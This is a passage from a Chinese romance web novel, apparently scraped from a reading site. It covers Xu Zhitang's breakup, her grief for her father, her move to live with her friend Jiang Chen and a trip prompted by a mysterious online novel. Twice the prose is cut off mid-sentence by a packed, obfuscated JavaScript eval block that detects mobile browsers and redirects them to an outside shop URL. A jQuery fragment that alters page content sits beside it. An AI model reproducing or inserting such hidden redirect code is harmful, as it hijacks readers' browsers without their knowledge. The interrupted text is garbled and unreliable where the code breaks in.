如果两个人都有问题,那一定是她的问题比较大。 她也很纳闷。因为冷静下来想,确实每次都是何松砚比较占理,所以她愿意回去低头道歉。 “我以后再谈恋爱就不能谈情绪太稳定的。估计只能找年下了。”许知棠拿苦酒配冰激凌,别有一番滋味,“如果还有机会的话。” 蒋谌对她谈恋爱的风格不敢恭维。 她为了哄男朋友开心,就可以疏远别的朋友。那个男人倒是坐享其成,不费吹灰之力,但对朋友而言是无妄之灾。 但事已至此,蒋谌还是决定教她两招,“你太容易被别人说服了。吵架的精髓在于,不要管对方说什么,你只集中注意力提出自己的诉求,重申自己的诉求,重复到他进入你的逻辑为止。” “……你现在是在教我跟人吵架吗?”许知棠不可思议道。 蒋谌说,“不然你以为律师是干什么的?” 好有道理。 她深深受教了。 “但是,如果谈恋爱就一定还要吵架的话,不谈也罢。”她回想恋爱带来的多巴胺,都在抵抗矛盾时被消耗掉。正负相抵, 或许还不如眼前这通甜丝丝的冰激凌来得实在。 “我决定以后封心锁爱,好好拍摄,好好运营账号。好好挣钱!” 蒋谌举杯:“思路正确。” 他本来要住酒店,没带什么换洗衣服。许知棠就翻出爸爸的旧衣服,拿给他凑合一晚。 蒋谌洗完澡出来,以为她已经去睡了。没想到客厅灯关了,她还郁郁寡欢地窝在沙发里,盯着桌上的空盒子发呆。 一斤装的冰激凌愣是被两个人吃完了,只剩一点融化的底,散发出粘腻的甜香。她想如果是小时候,一次吃这么多冰激凌肯定要挨打的,哪怕有蒋谌帮忙求情。 即使不回到小时候,回到两年前也好,她愿意拿后半辈子的冰激凌换再见爸爸一面。 再度过一次,那些她没有好好珍惜的时间。 她看着蒋谌身上,爸爸生病前常穿的睡衣。小时候他来留宿家里也是穿爸爸的衣服,领子低到胸口,裤子又肥又长。现在已经这么合身了。 如果爸爸在这里,看到现在的蒋谌,说不定还要跟他插科打诨称兄道弟。 许知棠嘴角往下掉,“你能不能假装是我爸,跟我说几句话啊。” “……” 蒋谌在她身边坐下来,“想家了?” “嗯。” 她的家在父亲停止呼吸的那天消失了,至今没有强大到自己一个人成为一个家。她一度想把何松砚当成新的家人,支撑自己活得完整,可最终还是无法迁就。 她只能接受,自己的家就是消失了。再也没有了。 “我爸最知道我了。他走的前一天忽然对我说,火化以后可以先不把他跟妈妈合葬,就把他放在家里,再多陪我几年。等我什么时候过了这个坎,不那么伤心了,再把他送走。可是我觉得我一辈子都做不到了。” 她本来想把父亲的骨灰带去新的住处,可是何松砚的妈妈知道以后坚决反对。她不想让他为难,只好每个月回来看看。 然后她发现,不把父亲安置在身边其实是对的。她每次回家看到那只罐子都要大哭一场,如果天天看到,天天都得哭,根本没力气生活了。 “那天我一听到他说那种话,就知道没剩多少时间了。我就赶紧跟同事换班调休,调了三天的假期出来,想最后再好好陪陪他。可是就只过了一夜……为什么那么快啊?为什么要那么快。” 她喃喃地说,“我还有三天假呢。” 蒋谌看着她闪烁的脸,悲伤的泪水竟也像钻石一样闪光。 他的父母走得光荣也走得突然,他因此被寄托了更多的期望和压力,沉浸在学业中忙得抬不起头。现在要回想跟父母一起的记忆,简直像是上辈子的事。 许知棠却跟父母的感情非常深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小说的文笔更接近于童话,讲述了江琛跟化成人形前来报恩的流浪猫小咪相处的日常,是温馨治愈的风格。 蒋谌看下来却有些心惊。 他小时候放学路上是救过一只猫,但当时只有自己一个人,许知棠也不在。猫没有救活,他就直接找地方埋掉了,是回了家才跟她说的。也没说那么详细。 可小说里描写得很详细,流浪猫的品种和毛色特征都跟他记忆里一模一样。 这太诡异了。 此前他想过小说作者是他身边认识的人,也考虑过,或许就是许知棠精分自己写出来的。 但现在两种猜测都走不通,他的疑心变成了对未知事物的惊奇。 一味偏执地崇尚科学也是一种迷信。他自认不是迷信的人,却还是第一次亲身遇到这种事。 这个世界上,怎么可能有人同时知道他七岁时救过的猫,和二十七岁时领带常打的结是什么样。 21. 第 21 章 夜里,许知棠断断续续地梦到学生时代至今,一些走马灯似的片段。 一切和学习有关的事情,她总是最先想到蒋谌。她从小学开始就进入“蒋谌哥哥辅导班”上一对一私教课,半个学期从吊车尾冲到年级前十。初高中远程辅导,成绩也都保持在中上游。 毫无疑问,她高考报志愿也一定要听蒋谌的意见。两个人说好,她大学也去京市读,还能经常找他玩。只是很可惜后来不联系了,她报志愿时还是优先选择了离家近的。 她高考发挥得一般,分数离两人说好的那所学校的录取线差一点。而且她高二那年蒋谌就本科毕业了,按道理人已经在国外读书,就算去京市也见不到他。 因为跟人约定过,她不能主动联系蒋谌。但心里很希望他能快点安顿下来,告诉她在国外的生活有多精彩。 一定还会骂她见色忘友。然后她就会说,骗你的,其实根本没谈恋爱。我很珍惜你这个朋友,怎么会这样自私地对你呢。 她没有等到蒋谌分享他的留学生活,倒是高中时的班长也出了国,经常三更半夜地跟她聊天,无论炫耀或吐槽都很有趣。还说觉得她的性格很适合到国外生活,换到一个崭新的环境里,可以看到一个截然不同的新世界。而她就很喜欢新东西。 有那么一段时间,她对留学也是很心动的。 爸爸总是很支持她,说学费可以找亲戚凑一凑,大不了把老家的房子卖了。人本就该自由自在,居无定所。 但她心里还是有些负担,犹豫不决。就这样到了大二,她遇到了何松砚。 那一天有人捣乱在他纸上涂画,问像不像一颗心脏。何松砚没有生气,笑着拿毛笔蘸了水彩,在上面画出动脉和血管。 那个无奈又觉得有趣的笑容,带着些熟悉的影子。 或许帅哥都是有相似之处的。她既然心动,当然就要想方设法猛猛拿下。 终于到了可以尽情谈恋爱的年纪,她把以往看少女漫的甜蜜憧憬都加在何松砚身上。一开始确实是很好很好的,以至于她彻底忘记还有留学的打算。被高中班长嫌弃志短,还给自己找借口说留学还要换专业太麻烦,而且不想增加家庭负担。 但她并不像陶悦说的那样,谈恋爱谈到没有自我。恰恰相反,她是在何松砚身上释放自己关于爱情的全部幻想,为自己圆梦。 当这层滤镜在时间中一点点变得稀薄,她才真正地看清楚这个人本身的模样。 和她有多不一样。 何松砚看人的眼光很准,尤其是挑朋友。他对朋友的筛选带着利己的功利性,一定要有价值有帮助,能够资源共享,共同进步的人,才值得发展长期友谊。 因此,她身边的朋友也被迫开启了一轮筛选。 其实许知棠自己也知道,大部分朋友都只能陪她走一段路,即使没有何松砚,她们现在大概率也不会保持联系了。但她希望这种友谊的消散遵循自然规律——是因为生活太忙聚少离多,因为各自发展没有共同话题。而不仅仅是因为她们对她没有利好的价值,就该主动提早疏远。 什么才算是有价值呢? 为什么要衡量朋友价值呢。 她对朋友的定义就是能玩得开心的人。只要在一起开心就好了啊,朋友诶。 她毕业时剩下的朋友已经很少,正式进入医院工作后就更夸张,这么多年都没有增加一个。新认识的人都止步于同事关系,谁也无权涉入更多。 她有时候都怀疑自己是被职场霸凌了,可仔细一看,大家都是一副半死不活的模样在苦熬。她也努力过,希望能身边的人积极相处,可她没厉害到可以改变环境,只能眼看着环境一点点把她变得沉默。 美其名曰是长大了。 鲁迅先生说得对,学医救不了这个世界。她也不得不承认,原来她并不喜欢在医院工作,并没有那么喜欢当护士。可她说不出口,也想不到别的出路。 以至于听说蒋谌研究生跨考法律专业,一百八十度大转行之后,她甚至松了口气,有种微妙的同盟感。 还好。“背叛初心”的并不只有她一个人。 还好,若干年之后,蒋谌再一次成为她的同盟,再一次坐在她家里,听她责骂前男友,哭诉对家人的思念。 幼稚的,烦人的,充满消极的话语,她都敢说出口。多难得。 在经历了长达两年的艰难时光后,寻回友人是她最大的收获。 朋友才是她对抗现实痛苦的解药。 永远都是。 ** 前一天没来得及收拾行李。为了不耽误飞机,两人起了个大早,去打包许知棠的衣物日用。 “你要把骨灰带上吗?”出门前蒋谌问她。“我家里没有这种忌讳,随便你放。” “……啊?”许知棠想了想,“还是不了吧。万一路上弄丢了,或者不小心碰碎撒出来怎么办。” 多么贴心的朋友啊。她内心感动,于是用一种令人毛骨悚然的温柔笑容盯着蒋谌,试图表达欣慰。 蒋谌被盯得汗毛竖立,不知道她在抽什么疯,看天看地看空气地转移话题,“吃早餐吗?那儿有店。” “吃!我请你!” 昨天才在朋友圈矫情了一出,为了防止撞见何松砚太尴尬,许知棠准备等人上班以后再回去收拾东西。 她对何松砚的作息规律很熟悉,吃顿早餐的功夫刚好能把时间错开。 蒋谌第一次也很可能是最后一次来她现居的房子,一进门就立刻明白,为什么许知棠第一次到他家,就很确定他没有谈恋爱。 差别太明显了。眼前这个家里处处充斥着两个人共同生活的痕迹,大到拼满了整面墙的情侣合照,小到两只钥匙扣上可以磁吸在一起的接吻鱼,每走一步都能发现新东西。 进门右手边就是厨房。蒋谌冷眼看着玻璃推拉门上用五颜六色的马克笔涂画着云朵和爱心,云朵下面的小房子里写着冰箱里的食物库存。 还有单独被圈起来的留言板,两个人的字迹都在,写着需要对方帮忙做的事。去超市,拿快递,上周的取件码都还没擦。 他看得非常不爽。硬是给自己找了个原因,“字真丑。” “医生嘛。”许知棠转头看了一眼,又继续去卧室找衣服,“反正以后他也用不着了,我要把马克笔带走!” “那我替你擦了?”蒋谌说。 “擦呗。”许知棠以为他闲着无聊,是想找点事情做。“客厅里的东西你都可以玩。能玩的东西都是我买的。” 何松砚从来不买任何玩具,那些男孩子喜欢的机甲手办,主机和键盘什么的他都不喜欢。桌上连个魔方都没有,无聊时的时候大概只能摆弄人体解剖模型。 蒋谌把碍眼的彩色云朵和爱心通通擦去,玻璃一干净,整个家都顺眼了不少。 他听到许知棠说的话,将整盒马克笔装好收了起来,准备带到海市去。换个地方还能继续用。 “还有别的东西要带吗?” “唉,能带走的我都想带走。”许知棠打开两个大行李箱,“就卡着行李额往里装吧。” 体重秤派上用场。为了节省时间,她把衣服都丢出来,蒋谌动作迅速地折叠或卷好,最大程度利用行李箱里的空间。 然后是她的vlog相机,各种充电器,卷发棒和化妆工具箱。这些她得自己来,“帮我拿一下维生素和鱼油,有两瓶,在冰箱侧边的柜子里。” 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“花呗不用还?” “下个月还,到时候我就有工资了嘛。做模特赚很多的。”她说着,手机叮咚一声。打开微信看,是蒋谌转了一笔给她,“……干嘛?” 蒋谌说,“防止你饿死在这个月。” 她当护士能有几个钱的工资,能有底气随时全部花光,要么是家人兜底,要么是陶悦,要么是前男友。人的消费习惯都是被培养出来的。 他也不会养得太差。 这种莫名其妙的竞争心理许知棠哪会知道,但就结果而言非常之受用。她立刻笑开了花,放下行李,双手在头顶比了个大大的爱心,“好人一生平安喔!爱你。” 房租是半年付的,明年一月份才到期。她暂时不想处理,就这样带着几十斤重的行李,沉甸甸地飞离了云川。 飞机上她俯瞰着故乡的土地,安静的侧脸显得有些忧郁,心情十分复杂。 蒋谌想到那两板帕罗西汀,难得主动关怀她,问她在想什么。 “小猫咪进城打工。”她描绘自己现在的心情。“我马上就要知道你过的是什么生活了,人。” “……” 她十几岁时想去京市读书,是因为有蒋谌在。十年后要去海市工作,也是因为蒋谌在。 果然是很有缘分。 在她整个人生中,蒋谌是最特别的一位朋友。 许知棠掏出便携镜子和小梳子,多愁善感地整理起刘海,“以后即使不当人了,我也会想你的。” 蒋谌有点好奇,“以后当猫了,你从哪儿掏个镜子出来照?” “我们小猫咪会自己舔毛。”她鄙夷了一下人浅薄的知识面,又很怜惜一起当人的这段友情,“我舔毛的时候会想你的。” “……”蒋谌摆手,“婉拒了。” 许知棠初始设置就是个高能量的人,落地海市吃了顿下午饭,立刻开始兴致勃勃地整理行李,从下午忙到天黑。跟经纪人确认了明天的拍摄时间,在镜子前走来走去,为新工作兴奋得睡不着。 虽然这跟他记忆里的许知棠没有多大出入,但如果她去年的医生看到她现在的样子,又没有接受小猫咪觉醒的故事,很大可能会怀疑她是抑郁转双相。 侧卧的衣柜不够装。蒋谌只好把她的两件大衣和一件羽绒服接手过来,暂时安置在自己衣柜里。 大衣是蓝灰,羽绒服是粉色,和衣柜里另外百分之九十的颜色对比鲜明。他挂好衣服,鬼使神差地捏了一下,很柔软。 他的衣柜里也有了云朵和彩虹。 22. 第 22 章 许知棠第一天开工,拍了九个小时。 当天蒋谌还在半休假的作息里,在她出门之后才起床洗漱。下午去见了两个做投资的朋友,聊到夜幕降临,又随便吃了点东西回家,她还不在。 晚饭他是一个人吃的,一边吃一边留意着微信的动静,并做好增加餐位的准备。 结果并没有任何动静。许知棠在棚里拍到天昏地暗,没有空闲骚扰他半句。 眼看时间逼近午夜,蒋谌等得心焦,不得不给她打电话询问情况。打到第二个她才接。 “我刚刚收工……”比起疲惫,她声音中更多的是沮丧。“马上就回家了。” “我过来接你。”孩子起早贪黑地出去打工挣钱,太可怜了。蒋谌说,“地址发我。” “喔。” 夜里寒风呼啸。十月份气温陡降,许知棠裹紧了身上单薄的风衣,走到路边方便停车的地方等他。抬眼望着灯火璀璨的高楼林立,心情比刚到海市的那晚还要凄凉。 “我觉得摄影师对我特别不满意,今天一整天都板着脸,表情超级严肃的,好像我的工资是从他工资里扣的一样。” 她上了车,如同搞砸重要考试的小学生,凄凄惨惨戚戚地对着家长忏悔,“我是不是真的很差劲啊。” 蒋谌又没有陪考,无从判断,“他骂你了?” “用眼神骂了很多遍。”她唉声叹气,显然第一天工作很不顺心。不过对于新人而言,这好像也是常态。 刚刚踏足未知领域,遭遇一点挫折坎坷,未必就是坏事。 蒋谌不觉得事情有多严重。直到红灯路口停车,无意地瞥了眼副驾,发现她脸上亮晶晶的,居然枕着安全带在那里默默流泪,“……” 会不会太夸张了点。 “我好想吃火锅啊。”她失魂落魄地盯着车窗,不知道是对谁说话,还是在自言自语,“这么冷的天,就是应该吃火锅的。我们每次去的火锅店有情侣折扣,虾滑和肥牛任选两份半价……我难道真的不够上镜吗?是不是再减个两三斤体重会更好一点?可是我好饿了,好累啊。以前下了班也很累,都是小何医生背我回家的。怎么办,我实在没力气去海底捞点菜了……” 因为吃不着火锅而思念前男友深夜落泪,在蒋谌看来已经快要突破没出息的底线了。实在无法容忍,“回家吃总行了吧?回家让你躺着吃。” 她立刻坐直身体,擦了擦眼泪,“好的。那我先看看外卖吧。” 怕水肿会影响上镜,她只喝了半杯冰美式就开工,到现在没吃晚饭。高强度的拍摄还换了好几套妆造,头皮被扯得生疼,到家恨不得一头扎进浴缸里化成水,让自己彻底放松。 被新工作严重打击到的许知棠同学,世俗的欲望之中只剩下食欲一项。 她洗完澡出来,看见蒋谌把火锅店的外卖拿进屋,居然真的没往餐桌而是往茶几上摆,遵守了让她躺着吃火锅的承诺。 大善人来的。 许知棠内心感动,去沙发上小躺了一下,嗅着牛油底料被煮开的香辣热气,终于还是忍不住坐起身,拿起碗筷迫不急待地调出蘸料。 再想想刚才在棚里收到的冷遇,对比简直不要鲜明。她又被沸腾的火锅熏出了眼泪,“你说我是不是马上就要失业了。万一我下个月给你交不出房租怎么办?我还借了陶陶的钱……” 蒋谌竟然不为所动,往锅里倒入一整盒肥牛,“交不上租赶出去睡大街。” “好无情,好冷酷。”她眼泪汪汪地举着筷子,“好香啊。” “……” 还是先吃饱再说吧。要emo或是要减重,都得等吃饱了才有力气去做啊。 许知棠大快朵颐。 刚洗完的头发偷懒没吹才半干,发丝也拌着生抽香菜小米辣一起往嘴角送。蒋谌去洗手间给她找了个抓夹。 “你不吃吗?”她被辣得嘶嘶吸气,接过抓夹麻利地把头发一挽,翘起的发尾像个鸡毛毽子。 “晚上在外面吃过了。”蒋谌又拿纸巾盒给她,“擦鼻涕。” “哦哦。” 许知棠又接过来用,让干什么干什么,真像个小孩。她吃东西很大口,额头被辣得沁汗,薄薄一层皮肤紧绷在脸上,眼尾鼻头和脸颊都有半透明的血色。看起来很有些鲜活气。 老人们常说,胃口不差,问题不大。 蒋谌围观猪咪进食,深有此感。 许知棠迅速地垫好了肚子,吃着吃着把饭碗一搁,拿起手机开始p图。 今天百忙之中她还抽空录了几段工作视频当日常vlog素材,但是时间太晚,视频肯定来不及剪了,只能先修两张自拍放上去营业。 可以说是非常有职业素养,“就算不能保持日更,至少也要两天更新一次。” 她刚涨了一波粉,正是要好好稳固流量的时候,之前拍的照片库存都发完了,需要新的素材。“万一我真的被公司开除或者冷藏,还指望这个账号接广告赚点小钱呢。” 想到这,她又拍了点火锅的照片,和网络朋友们汇报一下宵夜内容,这样评论区也能多个话题互动。 “对了,她们有人问起你,”许知棠说,“你介不介意入镜,或者我直播的时候提到你啊?” 蒋谌想了想,“无所谓。” 他从小也没少接收采访,或演讲比赛之类的,工作后也曾在律所媒体部做的科普视频里出现,对镜头无感。 “但同事们看到肯定会议论。”许知棠说,“我们医院的人就可八卦了,关键是说话还阴阳怪气的。” 她辞职做自媒体,听到最多的话可不是鼓励。什么都不想改变的人就爱说风凉话,还嫌她粉丝少,瞎折腾呢。明明他们自己对着镜头讲话都结巴。 “是同事,又不是朋友。”蒋谌说,“我本来在公司人缘也不怎么样,没多少下降空间。管他们说什么。” “我刚开始上班的时候有你这觉悟就好了。”她对着手机叹气。 “工作性质不一样。” 他能拿到案子的提成,可以说自己是去赚钱,不是去交朋友的,所以不在乎环境是否恶劣。但许知棠在医院,收入很难浮动,自然就希望身边的人能友好点。否则生活还有什么盼头呢,一天天地煎熬着。 “我前男友也总说做模特没发展前途,干不了几年就得转行,让我重新做那个什么,人生发展规划。”她发出照片,看着屏幕上精致漂亮的脸,依然觉得自己真是天生丽质,不吃这碗饭就是种浪费。 “你说我这把要是真黄了,重新在这里找工作,能找什么呢?我除了医院别的什么工作经验都没有。应该很难找吧。” “想那么多干什么,又不是真的已经黄了。”蒋谌把翻滚的虾滑捞进她碗里。“喜欢什么就干什么,有什么可规划的。不知道哪天就死了。” “……” 许知棠长大嘴巴,“知音啊。” 还得是老朋友给力。 她想,大概是因为两人有相似的家庭变故,人生观也更趋同。 蒋谌嘴上没说那么多,其实心里想了。她确实天生丽质。人都该合理利用自己的天赋,比起医院,她就是更适合做光鲜亮丽的媒体行业。 许知棠就是他见过最漂亮,最有灵气的女孩。无论是小时候顶着个乌漆嘛黑的板寸,还是长大了梳起马尾烫成卷发。 但这种话实在太肉麻了,他无论怎么都说不出口的。 “嗯?我经纪人的电话。” 许知棠看到微信通话,刚拿起的筷子又放下了,紧张得朝蒋谌嘘了一声。尽管他压根没在说话。 蒋谌被她带得也紧张起来,看着她接通电话。 然后表情一点点地舒展,晴朗,直至露出笑容。 “我经纪人说今天我表现得很好,收工后摄影还跟她夸我了……”她的心情迎来不可思议的转折,笑容在脸上迅速扩大。 “他说我是这半年的新人里反应最快,悟性最好的一个!” 她激动得跳起来在客厅里跑了两圈,路过鱼缸莫名其妙地骚扰鱼群一分钟。意犹未尽,又跑回来骚扰蒋谌的耳朵,“我不会丢掉工作了!我是天才!我就知道我就知道!” “……” 蒋谌打了个暂停的手势,“不是说他一整天都对你板着脸很严肃么。” “听说是因为他女朋友出轨,昨天刚撕破脸分手了。”她停下来唏嘘八卦,啧啧啧地重回火锅的怀抱,“闹到半夜,今天又闷在棚里工作了一整天,怪不得脸那么臭。” 同情完摄影师,她下班时的颓势也一扫而空。还拿起遥控器开电视,找了个喜剧片看,一边吃一边哈哈大笑。 凌晨两点。蒋谌靠在沙发上喝可乐,望向夜色中粼粼的江面,只觉繁星闪烁。假期从这一刻起,才真正开始了。 高兴劲上来,许知棠不出意外地吃了太多,撑得在客厅里走来走去。等他收拾完残局,一起下楼去丢垃圾,顺便散步消个食。 “等一下,我找个东西。” 出门前她又跑回屋里翻行李箱,翻出了从云川带来的半袋猫粮,“你知不知道小区外面有流浪猫?我第一天来的时候好像瞧见了,不过跑得特别快。” 蒋谌说,“没注意。”他平时都是开车进出,还没下楼闲逛过。 “我以前住的小区楼下有好几只,一年四季都在。我喂了一段时间,混熟之后就联手小何医生把它们逮去绝育了,嘿嘿。” 许知棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688767|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,“不过它们还是很亲人喔,现在依然在小区里住着,被那几栋的居民喂得可圆滚了。” 晚上出门,她换了件珊瑚绒的大外套,长到小腿,像裹着条厚实的毛毯。找到第一次来见蒋谌的那个小区门外面,沿路边喵喵咪咪地呼唤。 “哪有猫的影子。”蒋谌逗她,“你喵云川的方言这儿的猫能听懂吗。” “啧,别捣乱。”她专心致志地呼朋引伴。 不知是哪句喵对了,绿化带里还真的传来一声回音。她蓦地双眼发光,继续对话,但只有耳朵能听到微弱的猫叫,眼睛找不到猫影。看来是一只警惕的胆小咪。 她腿都蹲麻了也没叫出来,只好把猫粮洒在草丛里,等人走之后它自己来吃。 “我们去买冰激凌吃吧。你想不想吃?”既然都出来了,空着手回去多没意思。 “不吃。”蒋谌说,“我要回去睡觉。” “睡什么觉。现在都几点了,是不是快天亮了?”她想到哪句说哪句,“干脆看个日出再回家吧!你知道这边什么地方最适合看日出吗?” “……” 她发现旁边有垃圾站,连忙小跑去扔手上的包装袋,转身才发现蒋谌没停下来,“诶你这人!等等我啊!” 蒋谌是故意没等她。她也没生气,蓄力冲刺,跳起来笑嘻嘻地搭蒋谌的肩膀。不过因为身高差有点明显,想勾肩搭背需要她一直举着胳膊。她只搭几秒钟就放弃了,“够不着。你怎么这么高啊。” 蒋谌转过头,无意义地看向肩膀方向的空气。她手心热乎乎的,留下的余温里还带着一股猫粮味儿。 “你平常假期都干什么?是不是一直待在家里睡觉啊。”许知棠独自开朗,“附近有什么好玩的肯定也不知道吧?嘿嘿,我可知道!我有一份超级详细的旅游攻略,是地铁上认识的朋友送给我的,吃的玩的都有!以后你就跟着我吧~遇到我你算是遇到宝喽。” 这会儿蒋谌也没扫兴,“行,跟着你。” “包好玩的!” 下一次拍摄是好几天后了。她又可以趁机休息,睡到自然醒,减减视频或是出去玩。心情不要太好。 她对着月亮,大声地汇报:“爸爸妈妈!我拥有一份最最喜欢的工作啦!” 我拥有一份最最喜欢的工作啦。蒋谌面无表情地在心里学她讲话。嘴角一抿,自己也笑了出来。 许知棠以为是嫌她幼稚,撇着嘴,“笑什么笑。” “为你高兴。”他说,“只许你高兴,我不能?” “哼……”她勉为其难地接受这个说法,“好吧,批准了。” 蒋谌也抬起头,看她对话的天空。云开雾散,星稀月明。 是有点高兴。 他在考虑和许知棠一起生活时,考虑的是责任和义务,考虑自己是否有能力承担多一人份的开销和麻烦。没想过什么需不需要陪伴,什么高不高兴。 现在他真切地尝到了甜头,再回想自己一开始完全是把人当成负担,良心痛了一下。 走到凌晨无人的街道,树影重重犹如鬼影。两人都没说话的空档,四周一下子寂静到令人起疑。许知棠搓了下手臂,正想说自己也想回家了,旁边树丛里忽然窜出一团巨大的黑影。 她被吓得灵魂出窍,手边毫不犹豫就把蒋谌推了出去,“啊啊啊靠!” “……” “汪汪,汪!” 蒋谌差点撞狗身上,踉跄一下扶住树干。身形庞大的边牧围着他转圈,哈气吐舌头,一双眼睛滴溜溜转,全是鬼点子。 就是为了避开人流才特意大半夜出来遛狗,没想到还是碰上一对倒霉的情侣。主人扯着绳撤回狗子,一个劲儿道歉,“不好意思不好意思,我们家孩子爱开玩笑,但是不会咬人的,就是爱逗人玩儿。您没事吧?” “没事。”他摆摆手,就此别过。一回头许知棠在旁边尬笑,心虚的眼睛也是滴溜转。 他良心痛的那一下纯属多余。 蒋谌本来只是觉得好气又好笑,现在看她这么心虚,突然很愿意摆起脸色了,从身上抓下几片枯黄的叶子丢开,一言不发地往回走,看起来十分冷峻。 “对不起嘛……我跟你道歉。对不起你别生气了,我真不是故意的。” 许知棠追着他承认错误,哄到家了还没哄好,“要不我给你表演个节目?我最近新学了个手势舞可好玩了,回去我给你跳一段?” 她打开手机准备找找教学视频,忽地惊呼一声,拉住蒋谌,“你快看!” “又不表演了?”蒋谌板着脸说。 “不是!你看啊。”她把论坛拉到最末尾,美甲在屏幕上哒哒敲了两下。 “我们的小说更新了。” 23. 第 23 章 小说深夜更新的内容,是猫和人打算重回故乡来一次旅行。 里面的故乡不是云川,而是一个叫南杞县的地方。许知棠用手机地图一查,还真有这个县城,是在遥远的北方,她从没听说过更没去过。蒋谌也是。 “那你说,作者为什么会写这个地方呢?”许知棠摸着下巴,深夜推理,“嗯……这里一定有我们需要的信息。我觉得我们有必要去一趟。” “说完整。”蒋谌道,“是有必要去一趟,还是有必要去玩一趟?” “嘿嘿,嘿嘿嘿。” “装傻子也没用。”他残忍地拒绝,“我可没空,周一有个不能迟到的会。” “那不就还有两天吗?”她憧憬地眨眼,“明天上午去,后天晚上回来就可以了!我们去玩吧,就玩两天,去嘛人~去吧去吧。” “……” 她怎么这么能磨人?要是不答应,没准儿今晚都睡不成觉。 与其后面两天都在家里听她念叨,还不如出去玩。 为了耳根清净,蒋谌才妥协,“后天晚上必须回来。我订机票你订酒店。” “好耶!” 许知棠把脸一抹,立刻开始查。她要订房肯定是照着好看的找,县城里能选的不多,最后挑中的是间民宿,装修很有风格的loft房型。 房间有上下两层,大落地窗可以看山景,唯一的缺点是没有隔间,两张床就在楼上并排放着。不过中间装了一面复古的米白色棉麻编织床帘,睡觉的时候拉上就行。 她自己还是很满意的,甚至都已经想好在哪些角落可以出片,结果蒋谌看到骂她穷疯了,非要把她订好的民宿退掉,换成无聊的商务连锁酒店,重新订成分开的两间。 也是有点无语的。 她都没介意,这人到底在讲究什么。 安排好行程天都快亮了,她洗漱好急匆匆地上床睡觉,辗转反侧,意料之中地失眠。 但凡有个什么事儿都激动得睡不着,这种小学生秋游的心态已经伴随她半生。 她索性爬起来收拾行李,把包先整理好。谁知道越理越兴奋,两天能穿的衣服太少了,她搭配完还意犹未尽。把当天要穿的从上到下连配饰和袜子都在床上摆好,自己美滋滋地躺在旁边。 睡觉又不关门。 蒋谌早上路过她房间门口,刚睡醒眼花,蓦地一眼扫过去,以为床上躺了两个人,“……” 吃早午餐时,他严肃地讲了这起惊吓事件,重申睡觉要把卧室门关上。 许知棠困得头晕眼花,左耳听右耳出,“哦”“啊”地敷衍。 她跟很多小孩不一样,长到这么大睡觉都不记得关门,更不会上锁。有时候进屋会随手带上,忘了就忘了。就觉得没什么必要。 以前爸妈看到会帮她关,后来跟男朋友同居,就更无所谓了。她在自己家里要什么私人空间。 在自己家里还需要私人空间的是蒋谌。 许知棠啃着水煮玉米,眯起眼睛看他,“你说你这个人,防备心会不会太重。”嚼嚼嚼。 她以前看心理学的书,里面讲一个人的家是什么样,往往反映了他的内心世界。 蒋谌的内心世界里面还有个小内心世界。洋葱型人格。 “我又不像你,能吃能睡。”蒋谌不接受她的诽谤,“我有点动静就睡不着,不关门不行。” 许知棠也不接受,“哪有你说的那么能吃能睡,我昨天晚上还失眠了好不好。” “哦。”蒋谌更正总结,“能吃能睡还爱玩。” “……”许知棠捧着玉米瞪他。 愤怒地嚼嚼嚼。 “气什么,这样不是挺好吗。”他悠闲地起身,“快吃,收拾一下差不多能出发了。” “哦。” 虽然是一次临时起意的短途旅行,许知棠还是装备齐全,不打算放过这个收集素材的机会。去机场的路上,她先在出租车里录了个开头,介绍完目的地之后是常规话术,“我有预感,这次会玩得很开心~超级期待喔。” 司机听她在后面说了一长串,看不见是对着vlog相机,以为她跟蒋谌说呢。生怕她尴尬,热心肠地催促道,“小伙子怎么不吱声啊?你听人家姑娘讲得多好。” 蒋谌:“……” 许知棠关掉相机放肆大笑,把司机都笑懵了。他扶住旁边乱晃的脑袋,无奈道,“那行,我也期待。” 这么一搭腔就不得了。司机大哥劲头很足,滔滔不绝地教他对女孩子要绅士,主动,热情。一套一套的。 “您这么有经验啊?”许知棠随时开始八卦,“那有没有老婆啊,跟另一半应该感情很好吧。” 恋爱经验顿时卡壳。司机幽幽道,“去年刚离了。” “……” 一句话成功地让车里恢复安静。直到机场下车,司机都没再说一句话。 蒋谌诚意地为她竖起大拇指。 出发前吃了顿早午餐,飞机餐许知棠就没再吃,也不许他叫,戴上眼罩颈枕一觉睡到目的地。 蒋谌没带电脑,在手机上改了份文件,快降落时才收尾。透过舷窗往外看,阳光亮得刺眼,干亮干亮的。天特别晴,蓝得像被洗过。 许知棠低着头,下巴被颈枕托着,睡得很安详。 她今天梳了丸子头,为了戴围巾好看。坐了一路飞机,丸子还在头顶稳稳地待着,显得后脑勺饱满圆润。 蒋谌没见她这么梳过头发,实在很想知道捏一下什么感觉。但是她下飞机肯定还要继续录vlog,只能反复提醒自己手别那么欠。 机场在市区,想要到南杞县,还得需要转乘一个小时的大巴。目的地实际的体感温度,比手机里天气预报显示的温度还要冷,舷梯上都结着薄霜。许知棠小心翼翼地往下走,被迎面吹来的干冷空气冻得哆嗦。 “这个风在攻击我。” 她把围巾拉到鼻尖,等摆渡车的一小会儿,露出的皮肤都在被凌冽的寒意审判,还没开始玩儿就感觉脸要裂了,“幸好带了一大罐面霜。你有没有带?” “没有。”蒋谌不客气地拎着两个人的行李,“晚上给我挖一坨用。” 机场大巴站人满为患,不知道是不是因为还在假期。他有种春运的错觉,拿手机查了一下才知道,这个南杞县最近因为一家好吃的卤煮店而在网上走红,很多人趁假期慕名来打卡。 